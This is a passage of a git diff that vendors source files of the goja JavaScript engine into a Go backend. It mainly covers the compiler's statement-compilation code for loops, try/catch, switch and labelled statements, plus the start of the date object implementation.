append(e.c.block.breaks, len(e.c.p.code)) + e.c.emit(nil) + } +} + +func (e *compiledAwaitExpression) emitGetter(putOnStack bool) { + e.arg.emitGetter(true) + e.c.emit(await) + if !putOnStack { + e.c.emit(pop) + } +} + +func (e *compiledYieldExpression) emitGetter(putOnStack bool) { + if e.arg != nil { + e.arg.emitGetter(true) + } else { + e.c.emit(loadUndef) + } + if putOnStack { + if e.delegate { + e.c.emit(yieldDelegateRes) + } else { + e.c.emit(yieldRes) + } + } else { + if e.delegate { + e.c.emit(yieldDelegate) + } else { + e.c.emit(yield) + } + } +} diff --git a/backend/vendor/github.com/dop251/goja/compiler_stmt.go b/backend/vendor/github.com/dop251/goja/compiler_stmt.go new file mode 100644 index 0000000..0c09b07 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/compiler_stmt.go @@ -0,0 +1,1127 @@ +package goja + +import ( + "github.com/dop251/goja/ast" + "github.com/dop251/goja/file" + "github.com/dop251/goja/token" + "github.com/dop251/goja/unistring" +) + +func (c *compiler) compileStatement(v ast.Statement, needResult bool) { + + switch v := v.(type) { + case *ast.BlockStatement: + c.compileBlockStatement(v, needResult) + case *ast.ExpressionStatement: + c.compileExpressionStatement(v, needResult) + case *ast.VariableStatement: + c.compileVariableStatement(v) + case *ast.LexicalDeclaration: + c.compileLexicalDeclaration(v) + case *ast.ReturnStatement: + c.compileReturnStatement(v) + case *ast.IfStatement: + c.compileIfStatement(v, needResult) + case *ast.DoWhileStatement: + c.compileDoWhileStatement(v, needResult) + case *ast.ForStatement: + c.compileForStatement(v, needResult) + case *ast.ForInStatement: + c.compileForInStatement(v, needResult) + case *ast.ForOfStatement: + c.compileForOfStatement(v, needResult) + case *ast.WhileStatement: + c.compileWhileStatement(v, needResult) + case *ast.BranchStatement: + c.compileBranchStatement(v) + case *ast.TryStatement: + c.compileTryStatement(v, needResult) + case *ast.ThrowStatement: + c.compileThrowStatement(v) + case *ast.SwitchStatement: + c.compileSwitchStatement(v, needResult) + case *ast.LabelledStatement: + c.compileLabeledStatement(v, needResult) + case *ast.EmptyStatement: + c.compileEmptyStatement(needResult) + case *ast.FunctionDeclaration: + c.compileStandaloneFunctionDecl(v) + // note functions inside blocks are hoisted to the top of the block and are compiled using compileFunctions() + case *ast.ClassDeclaration: + c.compileClassDeclaration(v) + case *ast.WithStatement: + c.compileWithStatement(v, needResult) + case *ast.DebuggerStatement: + default: + c.assert(false, int(v.Idx0())-1, "Unknown statement type: %T", v) + panic("unreachable") + } +} + +func (c *compiler) compileLabeledStatement(v *ast.LabelledStatement, needResult bool) { + label := v.Label.Name + if c.scope.strict { + c.checkIdentifierName(label, int(v.Label.Idx)-1) + } + for b := c.block; b != nil; b = b.outer { + if b.label == label { + c.throwSyntaxError(int(v.Label.Idx-1), "Label '%s' has already been declared", label) + } + } + switch s := v.Statement.(type) { + case *ast.ForInStatement: + c.compileLabeledForInStatement(s, needResult, label) + case *ast.ForOfStatement: + c.compileLabeledForOfStatement(s, needResult, label) + case *ast.ForStatement: + c.compileLabeledForStatement(s, needResult, label) + case *ast.WhileStatement: + c.compileLabeledWhileStatement(s, needResult, label) + case *ast.DoWhileStatement: + c.compileLabeledDoWhileStatement(s, needResult, label) + default: + c.compileGenericLabeledStatement(s, needResult, label) + } +} + +func (c *compiler) updateEnterBlock(enter *enterBlock) { + scope := c.scope + stashSize, stackSize := 0, 0 + if scope.dynLookup { + stashSize = len(scope.bindings) + enter.names = scope.makeNamesMap() + } else { + for _, b := range scope.bindings { + if b.inStash { + stashSize++ + } else { + stackSize++ + } + } + } + enter.stashSize, enter.stackSize = uint32(stashSize), uint32(stackSize) +} + +func (c *compiler) compileTryStatement(v *ast.TryStatement, needResult bool) { + c.block = &block{ + typ: blockTry, + outer: c.block, + } + var lp int + var bodyNeedResult bool + var finallyBreaking *block + if v.Finally != nil { + lp, finallyBreaking = c.scanStatements(v.Finally.List) + } + if finallyBreaking != nil { + c.block.breaking = finallyBreaking + if lp == -1 { + bodyNeedResult = finallyBreaking.needResult + } + } else { + bodyNeedResult = needResult + } + lbl := len(c.p.code) + c.emit(nil) + if needResult { + c.emit(clearResult) + } + c.compileBlockStatement(v.Body, bodyNeedResult) + var catchOffset int + if v.Catch != nil { + lbl2 := len(c.p.code) // jump over the catch block + c.emit(nil) + catchOffset = len(c.p.code) - lbl + if v.Catch.Parameter != nil { + c.block = &block{ + typ: blockScope, + outer: c.block, + } + c.newBlockScope() + list := v.Catch.Body.List + funcs := c.extractFunctions(list) + if _, ok := v.Catch.Parameter.(ast.Pattern); ok { + // add anonymous binding for the catch parameter, note it must be first + c.scope.addBinding(int(v.Catch.Idx0()) - 1) + } + c.createBindings(v.Catch.Parameter, func(name unistring.String, offset int) { + if c.scope.strict { + switch name { + case "arguments", "eval": + c.throwSyntaxError(offset, "Catch variable may not be eval or arguments in strict mode") + } + } + c.scope.bindNameLexical(name, true, offset) + }) + enter := &enterBlock{} + c.emit(enter) + if pattern, ok := v.Catch.Parameter.(ast.Pattern); ok { + c.scope.bindings[0].emitGet() + c.emitPattern(pattern, func(target, init compiledExpr) { + c.emitPatternLexicalAssign(target, init) + }, false) + } + for _, decl := range funcs { + c.scope.bindNameLexical(decl.Function.Name.Name, true, int(decl.Function.Name.Idx1())-1) + } + c.compileLexicalDeclarations(list, true) + c.compileFunctions(funcs) + c.compileStatements(list, bodyNeedResult) + c.leaveScopeBlock(enter) + if c.scope.dynLookup || c.scope.bindings[0].inStash { + c.p.code[lbl+catchOffset] = &enterCatchBlock{ + names: enter.names, + stashSize: enter.stashSize, + stackSize: enter.stackSize, + } + } else { + enter.stackSize-- + } + c.popScope() + } else { + c.emit(pop) + c.compileBlockStatement(v.Catch.Body, bodyNeedResult) + } + c.p.code[lbl2] = jump(len(c.p.code) - lbl2) + } + var finallyOffset int + if v.Finally != nil { + c.emit(enterFinally{}) + finallyOffset = len(c.p.code) - lbl // finallyOffset should not include enterFinally + if bodyNeedResult && finallyBreaking != nil && lp == -1 { + c.emit(clearResult) + } + c.compileBlockStatement(v.Finally, false) + c.emit(leaveFinally{}) + } else { + c.emit(leaveTry{}) + } + c.p.code[lbl] = try{catchOffset: int32(catchOffset), finallyOffset: int32(finallyOffset)} + c.leaveBlock() +} + +func (c *compiler) addSrcMap(node ast.Node) { + c.p.addSrcMap(int(node.Idx0()) - 1) +} + +func (c *compiler) compileThrowStatement(v *ast.ThrowStatement) { + c.compileExpression(v.Argument).emitGetter(true) + c.addSrcMap(v) + c.emit(throw) +} + +func (c *compiler) compileDoWhileStatement(v *ast.DoWhileStatement, needResult bool) { + c.compileLabeledDoWhileStatement(v, needResult, "") +} + +func (c *compiler) compileLabeledDoWhileStatement(v *ast.DoWhileStatement, needResult bool, label unistring.String) { + c.block = &block{ + typ: blockLoop, + outer: c.block, + label: label, + needResult: needResult, + } + + start := len(c.p.code) + c.compileStatement(v.Body, needResult) + c.block.cont = len(c.p.code) + c.emitExpr(c.compileExpression(v.Test), true) + c.emit(jeqP(start - len(c.p.code))) + c.leaveBlock() +} + +func (c *compiler) compileForStatement(v *ast.ForStatement, needResult bool) { + c.compileLabeledForStatement(v, needResult, "") +} + +func (c *compiler) compileForHeadLexDecl(decl *ast.LexicalDeclaration, needResult bool) *enterBlock { + c.block = &block{ + typ: blockIterScope, + outer: c.block, + needResult: needResult, + } + + c.newBlockScope() + enterIterBlock := &enterBlock{} + c.emit(enterIterBlock) + c.createLexicalBindings(decl) + c.compileLexicalDeclaration(decl) + return enterIterBlock +} + +func (c *compiler) compileLabeledForStatement(v *ast.ForStatement, needResult bool, label unistring.String) { + loopBlock := &block{ + typ: blockLoop, + outer: c.block, + label: label, + needResult: needResult, + } + c.block = loopBlock + + var enterIterBlock *enterBlock + switch init := v.Initializer.(type) { + case nil: + // no-op + case *ast.ForLoopInitializerLexicalDecl: + enterIterBlock = c.compileForHeadLexDecl(&init.LexicalDeclaration, needResult) + case *ast.ForLoopInitializerVarDeclList: + for _, expr := range init.List { + c.compileVarBinding(expr) + } + case *ast.ForLoopInitializerExpression: + c.compileExpression(init.Expression).emitGetter(false) + default: + c.assert(false, int(v.For)-1, "Unsupported for loop initializer: %T", init) + panic("unreachable") + } + + if needResult { + c.emit(clearResult) // initial result + } + + if enterIterBlock != nil { + c.emit(jump(1)) + } + + start := len(c.p.code) + var j int + testConst := false + if v.Test != nil { + expr := c.compileExpression(v.Test) + if expr.constant() { + r, ex := c.evalConst(expr) + if ex == nil { + if r.ToBoolean() { + testConst = true + } else { + leave := c.enterDummyMode() + c.compileStatement(v.Body, false) + if v.Update != nil { + c.compileExpression(v.Update).emitGetter(false) + } + leave() + goto end + } + } else { + expr.addSrcMap() + c.emitThrow(ex.val) + goto end + } + } else { + expr.emitGetter(true) + j = len(c.p.code) + c.emit(nil) + } + } + if needResult { + c.emit(clearResult) + } + c.compileStatement(v.Body, needResult) + loopBlock.cont = len(c.p.code) + if enterIterBlock != nil { + c.emit(jump(1)) + } + if v.Update != nil { + c.compileExpression(v.Update).emitGetter(false) + } + if enterIterBlock != nil { + if c.scope.needStash || c.scope.isDynamic() { + c.p.code[start-1] = copyStash{} + c.p.code[loopBlock.cont] = copyStash{} + } else { + if l := len(c.p.code); l > loopBlock.cont { + loopBlock.cont++ + } else { + c.p.code = c.p.code[:l-1] + } + } + } + c.emit(jump(start - len(c.p.code))) + if v.Test != nil { + if !testConst { + c.p.code[j] = jneP(len(c.p.code) - j) + } + } +end: + if enterIterBlock != nil { + c.leaveScopeBlock(enterIterBlock) + c.popScope() + } + c.leaveBlock() +} + +func (c *compiler) compileForInStatement(v *ast.ForInStatement, needResult bool) { + c.compileLabeledForInStatement(v, needResult, "") +} + +func (c *compiler) compileForInto(into ast.ForInto, needResult bool) (enter *enterBlock) { + switch into := into.(type) { + case *ast.ForIntoExpression: + c.compileExpression(into.Expression).emitSetter(&c.enumGetExpr, false) + case *ast.ForIntoVar: + if c.scope.strict && into.Binding.Initializer != nil { + c.throwSyntaxError(int(into.Binding.Initializer.Idx0())-1, "for-in loop variable declaration may not have an initializer.") + } + switch target := into.Binding.Target.(type) { + case *ast.Identifier: + c.compileIdentifierExpression(target).emitSetter(&c.enumGetExpr, false) + case ast.Pattern: + c.emit(enumGet) + c.emitPattern(target, c.emitPatternVarAssign, false) + default: + c.throwSyntaxError(int(target.Idx0()-1), "unsupported for-in var target: %T", target) + } + case *ast.ForDeclaration: + + c.block = &block{ + typ: blockIterScope, + outer: c.block, + needResult: needResult, + } + + c.newBlockScope() + enter = &enterBlock{} + c.emit(enter) + switch target := into.Target.(type) { + case *ast.Identifier: + b := c.createLexicalIdBinding(target.Name, into.IsConst, int(into.Idx)-1) + c.emit(enumGet) + b.emitInitP() + case ast.Pattern: + c.createLexicalBinding(target, into.IsConst) + c.emit(enumGet) + c.emitPattern(target, func(target, init compiledExpr) { + c.emitPatternLexicalAssign(target, init) + }, false) + default: + c.assert(false, int(into.Idx)-1, "Unsupported ForBinding: %T", into.Target) + } + default: + c.assert(false, int(into.Idx0())-1, "Unsupported for-into: %T", into) + panic("unreachable") + } + + return +} + +func (c *compiler) compileLabeledForInOfStatement(into ast.ForInto, source ast.Expression, body ast.Statement, iter, needResult bool, label unistring.String) { + c.block = &block{ + typ: blockLoopEnum, + outer: c.block, + label: label, + needResult: needResult, + } + enterPos := -1 + if forDecl, ok := into.(*ast.ForDeclaration); ok { + c.block = &block{ + typ: blockScope, + outer: c.block, + needResult: false, + } + c.newBlockScope() + enterPos = len(c.p.code) + c.emit(jump(1)) + c.createLexicalBinding(forDecl.Target, forDecl.IsConst) + } + c.compileExpression(source).emitGetter(true) + if enterPos != -1 { + s := c.scope + used := len(c.block.breaks) > 0 || s.isDynamic() + if !used { + for _, b := range s.bindings { + if b.useCount() > 0 { + used = true + break + } + } + } + if used { + // We need the stack untouched because it contains the source. + // This is not the most optimal way, but it's an edge case, hopefully quite rare. + for _, b := range s.bindings { + b.moveToStash() + } + enter := &enterBlock{} + c.p.code[enterPos] = enter + c.leaveScopeBlock(enter) + } else { + c.block = c.block.outer + } + c.popScope() + } + if iter { + c.emit(iterateP) + } else { + c.emit(enumerate) + } + if needResult { + c.emit(clearResult) + } + start := len(c.p.code) + c.block.cont = start + c.emit(nil) + enterIterBlock := c.compileForInto(into, needResult) + if needResult { + c.emit(clearResult) + } + c.compileStatement(body, needResult) + if enterIterBlock != nil { + c.leaveScopeBlock(enterIterBlock) + c.popScope() + } + c.emit(jump(start - len(c.p.code))) + if iter { + c.p.code[start] = iterNext(len(c.p.code) - start) + } else { + c.p.code[start] = enumNext(len(c.p.code) - start) + } + c.emit(enumPop, jump(2)) + c.leaveBlock() + c.emit(enumPopClose) +} + +func (c *compiler) compileLabeledForInStatement(v *ast.ForInStatement, needResult bool, label unistring.String) { + c.compileLabeledForInOfStatement(v.Into, v.Source, v.Body, false, needResult, label) +} + +func (c *compiler) compileForOfStatement(v *ast.ForOfStatement, needResult bool) { + c.compileLabeledForOfStatement(v, needResult, "") +} + +func (c *compiler) compileLabeledForOfStatement(v *ast.ForOfStatement, needResult bool, label unistring.String) { + c.compileLabeledForInOfStatement(v.Into, v.Source, v.Body, true, needResult, label) +} + +func (c *compiler) compileWhileStatement(v *ast.WhileStatement, needResult bool) { + c.compileLabeledWhileStatement(v, needResult, "") +} + +func (c *compiler) compileLabeledWhileStatement(v *ast.WhileStatement, needResult bool, label unistring.String) { + c.block = &block{ + typ: blockLoop, + outer: c.block, + label: label, + needResult: needResult, + } + + if needResult { + c.emit(clearResult) + } + start := len(c.p.code) + c.block.cont = start + expr := c.compileExpression(v.Test) + testTrue := false + var j int + if expr.constant() { + if t, ex := c.evalConst(expr); ex == nil { + if t.ToBoolean() { + testTrue = true + } else { + c.compileStatementDummy(v.Body) + goto end + } + } else { + c.emitThrow(ex.val) + goto end + } + } else { + expr.emitGetter(true) + j = len(c.p.code) + c.emit(nil) + } + if needResult { + c.emit(clearResult) + } + c.compileStatement(v.Body, needResult) + c.emit(jump(start - len(c.p.code))) + if !testTrue { + c.p.code[j] = jneP(len(c.p.code) - j) + } +end: + c.leaveBlock() +} + +func (c *compiler) compileEmptyStatement(needResult bool) { + if needResult { + c.emit(clearResult) + } +} + +func (c *compiler) compileBranchStatement(v *ast.BranchStatement) { + switch v.Token { + case token.BREAK: + c.compileBreak(v.Label, v.Idx) + case token.CONTINUE: + c.compileContinue(v.Label, v.Idx) + default: + c.assert(false, int(v.Idx0())-1, "Unknown branch statement token: %s", v.Token.String()) + panic("unreachable") + } +} + +func (c *compiler) findBranchBlock(st *ast.BranchStatement) *block { + switch st.Token { + case token.BREAK: + return c.findBreakBlock(st.Label, true) + case token.CONTINUE: + return c.findBreakBlock(st.Label, false) + } + return nil +} + +func (c *compiler) findBreakBlock(label *ast.Identifier, isBreak bool) (res *block) { + if label != nil { + var found *block + for b := c.block; b != nil; b = b.outer { + if res == nil { + if bb := b.breaking; bb != nil { + res = bb + if isBreak { + return + } + } + } + if b.label == label.Name { + found = b + break + } + } + if !isBreak && found != nil && found.typ != blockLoop && found.typ != blockLoopEnum { + c.throwSyntaxError(int(label.Idx)-1, "Illegal continue statement: '%s' does not denote an iteration statement", label.Name) + } + if res == nil { + res = found + } + } else { + // find the nearest loop or switch (if break) + L: + for b := c.block; b != nil; b = b.outer { + if bb := b.breaking; bb != nil { + return bb + } + switch b.typ { + case blockLoop, blockLoopEnum: + res = b + break L + case blockSwitch: + if isBreak { + res = b + break L + } + } + } + } + + return +} + +func (c *compiler) emitBlockExitCode(label *ast.Identifier, idx file.Idx, isBreak bool) *block { + block := c.findBreakBlock(label, isBreak) + if block == nil { + c.throwSyntaxError(int(idx)-1, "Could not find block") + panic("unreachable") + } + contForLoop := !isBreak && block.typ == blockLoop +L: + for b := c.block; b != block; b = b.outer { + switch b.typ { + case blockIterScope: + // blockIterScope in 'for' loops is shared across iterations, so + // continue should not pop it. + if contForLoop && b.outer == block { + break L + } + fallthrough + case blockScope: + b.breaks = append(b.breaks, len(c.p.code)) + c.emit(nil) + case blockTry: + c.emit(leaveTry{}) + case blockWith: + c.emit(leaveWith) + case blockLoopEnum: + c.emit(enumPopClose) + } + } + return block +} + +func (c *compiler) compileBreak(label *ast.Identifier, idx file.Idx) { + block := c.emitBlockExitCode(label, idx, true) + block.breaks = append(block.breaks, len(c.p.code)) + c.emit(nil) +} + +func (c *compiler) compileContinue(label *ast.Identifier, idx file.Idx) { + block := c.emitBlockExitCode(label, idx, false) + block.conts = append(block.conts, len(c.p.code)) + c.emit(nil) +} + +func (c *compiler) compileIfBody(s ast.Statement, needResult bool) { + if !c.scope.strict { + if s, ok := s.(*ast.FunctionDeclaration); ok && !s.Function.Async && !s.Function.Generator { + c.compileFunction(s) + if needResult { + c.emit(clearResult) + } + return + } + } + c.compileStatement(s, needResult) +} + +func (c *compiler) compileIfBodyDummy(s ast.Statement) { + leave := c.enterDummyMode() + defer leave() + c.compileIfBody(s, false) +} + +func (c *compiler) compileIfStatement(v *ast.IfStatement, needResult bool) { + test := c.compileExpression(v.Test) + if needResult { + c.emit(clearResult) + } + if test.constant() { + r, ex := c.evalConst(test) + if ex != nil { + test.addSrcMap() + c.emitThrow(ex.val) + return + } + if r.ToBoolean() { + c.compileIfBody(v.Consequent, needResult) + if v.Alternate != nil { + c.compileIfBodyDummy(v.Alternate) + } + } else { + c.compileIfBodyDummy(v.Consequent) + if v.Alternate != nil { + c.compileIfBody(v.Alternate, needResult) + } else { + if needResult { + c.emit(clearResult) + } + } + } + return + } + test.emitGetter(true) + jmp := len(c.p.code) + c.emit(nil) + c.compileIfBody(v.Consequent, needResult) + if v.Alternate != nil { + jmp1 := len(c.p.code) + c.emit(nil) + c.p.code[jmp] = jneP(len(c.p.code) - jmp) + c.compileIfBody(v.Alternate, needResult) + c.p.code[jmp1] = jump(len(c.p.code) - jmp1) + } else { + if needResult { + c.emit(jump(2)) + c.p.code[jmp] = jneP(len(c.p.code) - jmp) + c.emit(clearResult) + } else { + c.p.code[jmp] = jneP(len(c.p.code) - jmp) + } + } +} + +func (c *compiler) compileReturnStatement(v *ast.ReturnStatement) { + if s := c.scope.nearestFunction(); s != nil && s.funcType == funcClsInit { + c.throwSyntaxError(int(v.Return)-1, "Illegal return statement") + } + if v.Argument != nil { + c.emitExpr(c.compileExpression(v.Argument), true) + } else { + c.emit(loadUndef) + } + for b := c.block; b != nil; b = b.outer { + switch b.typ { + case blockTry: + c.emit(saveResult, leaveTry{}, loadResult) + case blockLoopEnum: + c.emit(enumPopClose) + } + } + if s := c.scope.nearestFunction(); s != nil && s.funcType == funcDerivedCtor { + b := s.boundNames[thisBindingName] + c.assert(b != nil, int(v.Return)-1, "Derived constructor, but no 'this' binding") + b.markAccessPoint() + } + c.emit(ret) +} + +func (c *compiler) checkVarConflict(name unistring.String, offset int) { + for sc := c.scope; sc != nil; sc = sc.outer { + if b, exists := sc.boundNames[name]; exists && !b.isVar && !(b.isArg && sc != c.scope) { + c.throwSyntaxError(offset, "Identifier '%s' has already been declared", name) + } + if sc.isFunction() { + break + } + } +} + +func (c *compiler) emitVarAssign(name unistring.String, offset int, init compiledExpr) { + c.checkVarConflict(name, offset) + if init != nil { + b, noDyn := c.scope.lookupName(name) + if noDyn { + c.emitNamedOrConst(init, name) + c.p.addSrcMap(offset) + b.emitInitP() + } else { + c.emitVarRef(name, offset, b) + c.emitNamedOrConst(init, name) + c.p.addSrcMap(offset) + c.emit(initValueP) + } + } +} + +func (c *compiler) compileVarBinding(expr *ast.Binding) { + switch target := expr.Target.(type) { + case *ast.Identifier: + c.emitVarAssign(target.Name, int(target.Idx)-1, c.compileExpression(expr.Initializer)) + case ast.Pattern: + c.compileExpression(expr.Initializer).emitGetter(true) + c.emitPattern(target, c.emitPatternVarAssign, false) + default: + c.throwSyntaxError(int(target.Idx0()-1), "unsupported variable binding target: %T", target) + } +} + +func (c *compiler) emitLexicalAssign(name unistring.String, offset int, init compiledExpr) { + b := c.scope.boundNames[name] + c.assert(b != nil, offset, "Lexical declaration for an unbound name") + if init != nil { + c.emitNamedOrConst(init, name) + c.p.addSrcMap(offset) + } else { + if b.isConst { + c.throwSyntaxError(offset, "Missing initializer in const declaration") + } + c.emit(loadUndef) + } + b.emitInitP() +} + +func (c *compiler) emitPatternVarAssign(target, init compiledExpr) { + id := target.(*compiledIdentifierExpr) + c.emitVarAssign(id.name, id.offset, init) +} + +func (c *compiler) emitPatternLexicalAssign(target, init compiledExpr) { + id := target.(*compiledIdentifierExpr) + c.emitLexicalAssign(id.name, id.offset, init) +} + +func (c *compiler) emitPatternAssign(target, init compiledExpr) { + if id, ok := target.(*compiledIdentifierExpr); ok { + b, noDyn := c.scope.lookupName(id.name) + if noDyn { + c.emitNamedOrConst(init, id.name) + b.emitSetP() + } else { + c.emitVarRef(id.name, id.offset, b) + c.emitNamedOrConst(init, id.name) + c.emit(putValueP) + } + } else { + target.emitRef() + c.emitExpr(init, true) + c.emit(putValueP) + } +} + +func (c *compiler) compileLexicalBinding(expr *ast.Binding) { + switch target := expr.Target.(type) { + case *ast.Identifier: + c.emitLexicalAssign(target.Name, int(target.Idx)-1, c.compileExpression(expr.Initializer)) + case ast.Pattern: + c.compileExpression(expr.Initializer).emitGetter(true) + c.emitPattern(target, func(target, init compiledExpr) { + c.emitPatternLexicalAssign(target, init) + }, false) + default: + c.throwSyntaxError(int(target.Idx0()-1), "unsupported lexical binding target: %T", target) + } +} + +func (c *compiler) compileVariableStatement(v *ast.VariableStatement) { + for _, expr := range v.List { + c.compileVarBinding(expr) + } +} + +func (c *compiler) compileLexicalDeclaration(v *ast.LexicalDeclaration) { + for _, e := range v.List { + c.compileLexicalBinding(e) + } +} + +func (c *compiler) isEmptyResult(st ast.Statement) bool { + switch st := st.(type) { + case *ast.EmptyStatement, *ast.VariableStatement, *ast.LexicalDeclaration, *ast.FunctionDeclaration, + *ast.ClassDeclaration, *ast.BranchStatement, *ast.DebuggerStatement: + return true + case *ast.LabelledStatement: + return c.isEmptyResult(st.Statement) + case *ast.BlockStatement: + for _, s := range st.List { + if _, ok := s.(*ast.BranchStatement); ok { + return true + } + if !c.isEmptyResult(s) { + return false + } + } + return true + } + return false +} + +func (c *compiler) scanStatements(list []ast.Statement) (lastProducingIdx int, breakingBlock *block) { + lastProducingIdx = -1 + for i, st := range list { + if bs, ok := st.(*ast.BranchStatement); ok { + if blk := c.findBranchBlock(bs); blk != nil { + breakingBlock = blk + } + break + } + if !c.isEmptyResult(st) { + lastProducingIdx = i + } + } + return +} + +func (c *compiler) compileStatementsNeedResult(list []ast.Statement, lastProducingIdx int) { + if lastProducingIdx >= 0 { + for _, st := range list[:lastProducingIdx] { + if _, ok := st.(*ast.FunctionDeclaration); ok { + continue + } + c.compileStatement(st, false) + } + c.compileStatement(list[lastProducingIdx], true) + } + var leave func() + defer func() { + if leave != nil { + leave() + } + }() + for _, st := range list[lastProducingIdx+1:] { + if _, ok := st.(*ast.FunctionDeclaration); ok { + continue + } + c.compileStatement(st, false) + if leave == nil { + if _, ok := st.(*ast.BranchStatement); ok { + leave = c.enterDummyMode() + } + } + } +} + +func (c *compiler) compileStatements(list []ast.Statement, needResult bool) { + lastProducingIdx, blk := c.scanStatements(list) + if blk != nil { + needResult = blk.needResult + } + if needResult { + c.compileStatementsNeedResult(list, lastProducingIdx) + return + } + for _, st := range list { + if _, ok := st.(*ast.FunctionDeclaration); ok { + continue + } + c.compileStatement(st, false) + } +} + +func (c *compiler) compileGenericLabeledStatement(v ast.Statement, needResult bool, label unistring.String) { + c.block = &block{ + typ: blockLabel, + outer: c.block, + label: label, + needResult: needResult, + } + c.compileStatement(v, needResult) + c.leaveBlock() +} + +func (c *compiler) compileBlockStatement(v *ast.BlockStatement, needResult bool) { + var scopeDeclared bool + funcs := c.extractFunctions(v.List) + if len(funcs) > 0 { + c.newBlockScope() + scopeDeclared = true + } + c.createFunctionBindings(funcs) + scopeDeclared = c.compileLexicalDeclarations(v.List, scopeDeclared) + + var enter *enterBlock + if scopeDeclared { + c.block = &block{ + outer: c.block, + typ: blockScope, + needResult: needResult, + } + enter = &enterBlock{} + c.emit(enter) + } + c.compileFunctions(funcs) + c.compileStatements(v.List, needResult) + if scopeDeclared { + c.leaveScopeBlock(enter) + c.popScope() + } +} + +func (c *compiler) compileExpressionStatement(v *ast.ExpressionStatement, needResult bool) { + c.emitExpr(c.compileExpression(v.Expression), needResult) + if needResult { + c.emit(saveResult) + } +} + +func (c *compiler) compileWithStatement(v *ast.WithStatement, needResult bool) { + if c.scope.strict { + c.throwSyntaxError(int(v.With)-1, "Strict mode code may not include a with statement") + return + } + c.compileExpression(v.Object).emitGetter(true) + c.emit(enterWith) + c.block = &block{ + outer: c.block, + typ: blockWith, + needResult: needResult, + } + c.newBlockScope() + c.scope.dynamic = true + c.compileStatement(v.Body, needResult) + c.emit(leaveWith) + c.leaveBlock() + c.popScope() +} + +func (c *compiler) compileSwitchStatement(v *ast.SwitchStatement, needResult bool) { + c.block = &block{ + typ: blockSwitch, + outer: c.block, + needResult: needResult, + } + + c.compileExpression(v.Discriminant).emitGetter(true) + + var funcs []*ast.FunctionDeclaration + for _, s := range v.Body { + f := c.extractFunctions(s.Consequent) + funcs = append(funcs, f...) + } + var scopeDeclared bool + if len(funcs) > 0 { + c.newBlockScope() + scopeDeclared = true + c.createFunctionBindings(funcs) + } + + for _, s := range v.Body { + scopeDeclared = c.compileLexicalDeclarations(s.Consequent, scopeDeclared) + } + + var enter *enterBlock + var db *binding + if scopeDeclared { + c.block = &block{ + typ: blockScope, + outer: c.block, + needResult: needResult, + } + enter = &enterBlock{} + c.emit(enter) + // create anonymous variable for the discriminant + bindings := c.scope.bindings + var bb []*binding + if cap(bindings) == len(bindings) { + bb = make([]*binding, len(bindings)+1) + } else { + bb = bindings[:len(bindings)+1] + } + copy(bb[1:], bindings) + db = &binding{ + scope: c.scope, + isConst: true, + isStrict: true, + } + bb[0] = db + c.scope.bindings = bb + } + + c.compileFunctions(funcs) + + if needResult { + c.emit(clearResult) + } + + jumps := make([]int, len(v.Body)) + + for i, s := range v.Body { + if s.Test != nil { + if db != nil { + db.emitGet() + } else { + c.emit(dup) + } + c.compileExpression(s.Test).emitGetter(true) + c.emit(op_strict_eq) + if db != nil { + c.emit(jneP(2)) + } else { + c.emit(jneP(3), pop) + } + jumps[i] = len(c.p.code) + c.emit(nil) + } + } + + if db == nil { + c.emit(pop) + } + jumpNoMatch := -1 + if v.Default != -1 { + if v.Default != 0 { + jumps[v.Default] = len(c.p.code) + c.emit(nil) + } + } else { + jumpNoMatch = len(c.p.code) + c.emit(nil) + } + + for i, s := range v.Body { + if s.Test != nil || i != 0 { + c.p.code[jumps[i]] = jump(len(c.p.code) - jumps[i]) + } + c.compileStatements(s.Consequent, needResult) + } + + if jumpNoMatch != -1 { + c.p.code[jumpNoMatch] = jump(len(c.p.code) - jumpNoMatch) + } + if enter != nil { + c.leaveScopeBlock(enter) + enter.stackSize-- + c.popScope() + } + c.leaveBlock() +} + +func (c *compiler) compileClassDeclaration(v *ast.ClassDeclaration) { + c.emitLexicalAssign(v.Class.Name.Name, int(v.Class.Class)-1, c.compileClassLiteral(v.Class, false)) +} diff --git a/backend/vendor/github.com/dop251/goja/date.go b/backend/vendor/github.com/dop251/goja/date.go new file mode 100644 index 0000000..917c929 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/date.go @@ -0,0 +1,124 @@ +package goja + +import ( + "math" + "reflect" + "time" +) + +const ( + dateTimeLayout = "Mon Jan 02 2006 15:04:05 GMT-0700 (MST)" + utcDateTimeLayout = "Mon, 02 Jan 2006 15:04:05 GMT" + isoDateTimeLayout = "2006-01-02T15:04:05.000Z" + dateLayout = "Mon Jan 02 2006" + timeLayout = "15:04:05 GMT-0700 (MST)" + datetimeLayout_en_GB = "01/02/2006, 15:04:05" + dateLayout_en_GB = "01/02/2006" + timeLayout_en_GB = "15:04:05" + + maxTime = 8.64e15 + timeUnset = math.MinInt64 +) + +type dateObject struct { + baseObject + msec int64 +} + +func dateParse(date string) (t time.Time, ok bool) { + d, ok := parseDateISOString(date) + if !ok { + d, ok = parseDateOtherString(date) + } + if !ok { + return + } + if d.month > 12 || + d.day > 31 || + d.hour > 24 || + d.min > 59 || + d.sec > 59 || + // special case 24:00:00.000 + (d.hour == 24 && (d.min != 0 || d.sec != 0 || d.msec != 0)) { + ok = false + return + } + var loc *time.Location + if d.isLocal { + loc = time.Local + } else { + loc = time.FixedZone("", d.timeZoneOffset*60) + } + t = time.Date(d.year, time.Month(d.month), d.day, d.hour, d.min, d.sec, d.msec*1e6, loc) + unixMilli := t.UnixMilli() + ok = unixMilli >= -maxTime && unixMilli <= maxTime + return +} + +func (r *Runtime) newDateObject(t time.Time, isSet bool, proto *Object) *Object { + v := &Object{runtime: r} + d := &dateObject{} + v.self = d + d.val = v + d.class = classDate + d.prototype = proto + d.extensible = true + d.init() + if isSet { + d.msec = timeToMsec(t) + } else { + d.msec = timeUnset + } + return v +} + +func dateFormat(t time.Time) string { + return t.Local().Format(dateTimeLayout) +} + +func timeFromMsec(msec int64) time.Time { + sec := msec / 1000 + nsec := (msec % 1000) * 1e6 + return time.Unix(sec, nsec) +} + +func timeToMsec(t time.Time) int64 { + return t.Unix()*1000 + int64(t.Nanosecond())/1e6 +} + +func (d *dateObject) exportType() reflect.Type { + return typeTime +} + +func (d *dateObject) export(*objectExportCtx) interface{} { + if d.isSet() { + return d.time() + } + return nil +} + +func (d *dateObject) setTimeMs(ms int64) Value { + if ms >= 0 && ms <= maxTime || ms < 0 && ms >= -maxTime { + d.msec = ms + return intToValue(ms) + } + + d.unset() + return _NaN +} + +func (d *dateObject) isSet() bool { + return d.msec 